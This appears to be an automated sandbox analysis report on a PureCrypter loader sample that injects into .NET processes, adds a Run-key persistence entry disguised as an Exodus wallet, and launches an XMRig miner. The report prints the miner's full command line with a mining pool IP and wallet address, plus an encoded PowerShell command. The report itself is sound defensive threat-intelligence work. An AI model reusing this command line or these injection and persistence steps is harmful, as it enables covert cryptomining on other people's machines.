purecrypter | 8bbf3420ad5b1e7283ecc131dd720728a0ebaba799d9084509c8a47b8efe1cb0

Resubmissions

28-02-2023 08:35

230228-khdmsaad98 10

27-02-2023 10:04

230227-l39rdsda95 10

Analysis

max time kernel
600s
max time network
600s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
28-02-2023 08:35

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Report Analysis Logs

General

Target

bypass_ps1_extracted_pe_file.exe
Size

171KB
MD5

b24e714962c627bc153be748efe9d288
SHA1

68d9fe8a592534e180db5ec89afe999221e43fec
SHA256

8bbf3420ad5b1e7283ecc131dd720728a0ebaba799d9084509c8a47b8efe1cb0
SHA512

a4cbf257a3196aac284df85285d224f626689257b525db3fe73b3ff213b4b70a171e40e836760d93dd70dd78e142ff564f9bf678bb4010452bfcd3853bac340b
SSDEEP

1536:g1c9URWzKr7PhuuUpV7+5JTiy95BuUCQahsf5mZIWiwwr7QXsouW2ASDDA6rRSCM:g1pWaxa7Dy95pS2lzxnIvXtZzSaPnp

Score

10^/10

purecrypter xmrig downloader loader miner persistence spyware

Malware Config

Signatures

Detect PureCrypter injector 33 IoCs

loader

resource	yara_rule
behavioral2/memory/1156-136-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-137-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-139-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-141-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-143-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-145-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-147-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-149-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-151-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-153-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-155-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-157-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-159-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-161-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-163-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-165-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-167-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-169-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-171-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-173-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-175-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-177-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-179-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-181-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-183-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-185-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-187-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-189-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-191-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-193-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-195-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-197-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter
behavioral2/memory/1156-199-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp	family_purecrypter

PureCrypter
PureCrypter is a .NET malware loader first seen in early 2021.
loader downloader purecrypter
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/3684-11082-0x0000000140000000-0x00000001407CD000-memory.dmp	xmrig
behavioral2/memory/3684-11086-0x0000000140000000-0x00000001407CD000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	bypass_ps1_extracted_pe_file.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\exoduswalllett = "\"C:\\Users\\Admin\\AppData\\Roaming\\Exodus\\exoduswalllett.exe\""	bypass_ps1_extracted_pe_file.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1156 set thread context of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 3300 set thread context of 3684	3300	RegAsm.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2832	powershell.exe
2832	powershell.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe
3300	RegAsm.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	bypass_ps1_extracted_pe_file.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	3300	RegAsm.exe
Token: SeLockMemoryPrivilege	3684	AddInProcess.exe
Token: SeLockMemoryPrivilege	3684	AddInProcess.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3684	AddInProcess.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 2832	1156	bypass_ps1_extracted_pe_file.exe	100
PID 1156 wrote to memory of 2832	1156	bypass_ps1_extracted_pe_file.exe	100
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 1156 wrote to memory of 3300	1156	bypass_ps1_extracted_pe_file.exe	102
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104
PID 3300 wrote to memory of 3684	3300	RegAsm.exe	104

C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe
"C:\Users\Admin\AppData\Local\Temp\bypass_ps1_extracted_pe_file.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 174.138.19.0:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ms2arlch.5yk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1156-185-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-139-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-187-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-137-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-189-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-141-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-143-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-145-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-147-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-149-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-151-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-153-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-155-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-157-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-159-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-161-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-163-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-165-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-167-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-169-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-171-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-173-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-175-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-177-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-191-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-181-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-183-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-133-0x00000275AA680000-0x00000275AA6AE000-memory.dmp

Filesize
184KB

Download
memory/1156-136-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-135-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/1156-179-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-193-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-195-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-197-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-199-0x00000275C5A80000-0x00000275C5D5C000-memory.dmp

Filesize
2.9MB

Download
memory/1156-10300-0x00000275AC290000-0x00000275AC2B2000-memory.dmp

Filesize
136KB

Download
memory/1156-10301-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/1156-10302-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/1156-134-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/1156-10316-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/1156-10315-0x00000275C5970000-0x00000275C5980000-memory.dmp

Filesize
64KB

Download
memory/2832-10313-0x000002C256090000-0x000002C2560A0000-memory.dmp

Filesize
64KB

Download
memory/2832-10318-0x000002C256090000-0x000002C2560A0000-memory.dmp

Filesize
64KB

Download
memory/2832-10314-0x000002C256090000-0x000002C2560A0000-memory.dmp

Filesize
64KB

Download
memory/2832-10317-0x000002C256090000-0x000002C2560A0000-memory.dmp

Filesize
64KB

Download
memory/2832-10312-0x000002C256090000-0x000002C2560A0000-memory.dmp

Filesize
64KB

Download
memory/3300-10324-0x0000000000400000-0x000000000048C000-memory.dmp

Filesize
560KB

Download
memory/3300-10414-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3300-11072-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3300-11071-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3300-11084-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3300-11085-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3300-11070-0x000002ACF7850000-0x000002ACF7860000-memory.dmp

Filesize
64KB

Download
memory/3684-11082-0x0000000140000000-0x00000001407CD000-memory.dmp

Filesize
7.8MB

Download
memory/3684-11090-0x000001D421760000-0x000001D421780000-memory.dmp

Filesize
128KB

Download
memory/3684-11083-0x000001D421720000-0x000001D421760000-memory.dmp

Filesize
256KB

Download
memory/3684-11086-0x0000000140000000-0x00000001407CD000-memory.dmp

Filesize
7.8MB

Download
memory/3684-11089-0x000001D421760000-0x000001D421780000-memory.dmp

Filesize
128KB

Download